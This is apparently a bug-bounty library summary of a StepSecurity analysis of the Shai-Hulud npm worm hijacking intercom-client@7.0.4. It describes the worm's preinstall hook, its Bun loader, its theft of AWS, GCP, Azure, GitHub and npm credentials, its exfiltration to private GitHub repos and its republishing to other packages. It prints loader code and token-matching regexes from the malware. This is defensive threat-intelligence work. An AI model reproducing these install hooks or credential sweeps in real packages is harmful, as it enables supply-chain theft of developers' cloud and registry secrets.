# Shai-Hulud Worm Pivots to Multi-Cloud: intercom-client@7.0.4 Hijacked — 361,000 Weekly Downloads, AWS, GCP, and Azure Credentials Now in Scope

Shai-Hulud worm hijacked intercom-client@7.0.4 via stolen GitHub Actions OIDC token, adding a preinstall hook that steals AWS/GCP/Azure and GitHub/npm credentials.

- Payout: Real-world hack
- Severity: critical
- Program: intercom-client
- Analysis by: StepSecurity
- Disclosed: 2026-05-04
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/shai-hulud-worm-pivots-to-multi-cloud-intercom-client-hijacked
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-shai-hulud-worm-pivots-to-multi-cloud-intercom-client-hijacked
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:aws tech:azure tech:ci-cd tech:gcp tech:github-actions tech:nodejs technique:source-review vuln:secrets-leak

**Target:** npm package intercom-client (Node.js SDK) install lifecycle hook
**Root cause:** Attacker used a stolen GitHub Actions OIDC publishing token to publish a malicious patch version adding a preinstall hook (node setup.mjs) that downloads Bun and runs an obfuscated credential stealer, bypassing SLSA attestation.
**Steps:**
1. Stolen npm OIDC publish token from a CI pipeline that installed mbt@1.2.48 or @cap-js/sqlite@2.2.2
2. Publish intercom-client@7.0.4 with `"preinstall": "node setup.mjs"` and new files setup.mjs + router_runtime.js
3. setup.mjs downloads Bun v1.3.13 from `https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/` and executes router_runtime.js
4. router_runtime.js daemonizes via `__DAEMONIZED=1` fork, writes PID lock to /tmp
5. Harvests GitHub tokens (`/gh[op]_[A-Za-z0-9]{36}/g`), npm tokens (`/npm_[A-Za-z0-9]{36,}/g`), AWS IMDS `http://169.254.169.254`, GCP `http://metadata.google.internal`, Azure connection strings, PEM private keys
6. Exfiltrates via `https://api.github.com/user` by creating a private repo under victim account and committing encrypted data
7. Uses stolen npm tokens to enumerate publishable packages, bump patch, inject hook, republish
**How found:** StepSecurity AI Package Analyst diffs every new npm publish against version history; flagged four anomalies: first-ever preinstall hook, two undocumented files, 3x unpacked size growth with a single-line 11.7MB obfuscated file, and dropped SLSA attestations.
**Exploitation:** Any developer or CI job running npm install on intercom-client@7.0.4 executes setup.mjs preinstall before other install logic; Bun is fetched and the stealer runs detached, exfiltrating cloud and registry credentials to attacker-controlled private GitHub repos via api.github.com, then propagating to further npm packages.
**Escalation:** Expanded from GitHub/npm tokens to full multi-cloud credential sweep (AWS IMDS, GCP metadata, Azure secrets, private keys), and added Vercel/generic CI detection, raising blast radius to entire cloud footprint.
**Insight:** SLSA attestation absence plus a first-ever install lifecycle hook and a single-line multi-MB file are high-signal supply-chain compromise indicators; monitor npm publishes for these deltas rather than relying on hash IOCs, since the loader's SHA-256 changes per wave.

## Proof of concept (copied exactly from the original report)

**Malicious preinstall hook and payload files in package.json**

```
"scripts": {
 "lint": "biome lint ...", "test": "vitest", "build": "pnpm build:cjs && pnpm build:esm",
 "preinstall": "node setup.mjs" // <-- new, fires before any install logic
}
// unpackedSize: 17,837,993 bytes | fileCount: 4,940 | SLSA attestations: ABSENT
// New files: setup.mjs (6,780 bytes), router_runtime.js (11,731,860 bytes, 0 newlines)
```

**Bun loader execution flow in setup.mjs**

```
const BUN_VERSION = "1.3.13"; // Same version used in mbt, @cap-js/sqlite, and @bitwarden/cli
const ENTRY_SCRIPT = "router_runtime.js"; // Renamed from "execution.js" to evade IOC blocklists

async function main() {
 if (hasCommand("bun")) return; // Reuse existing Bun installation if present

 const asset = resolveAsset(); // Includes musl/Alpine detection for CI containers
 const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;

 const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
 await downloadToFile(url, zipPath);
 extractBun(zipPath, entry, tmpDir);
 fs.unlinkSync(zipPath); // Delete the downloaded zip to reduce forensic footprint
 execFileSync(bunPath, [entryScriptPath], { stdio: "inherit", cwd: SCRIPT_DIR });
 // finally: fs.rmSync(tmpDir, { recursive: true, force: true }) ← deletes Bun binary on exit
```

**CI environment detection branches in payload**

```
if (process.env.GITHUB_ACTIONS) // GitHub Actions — targets OIDC tokens
if (process.env.VERCEL || process.env.NOW_GITHUB_DEPLOYMENT) // Vercel deployments
if (process.env.CI_) // Generic CI environment marker
```

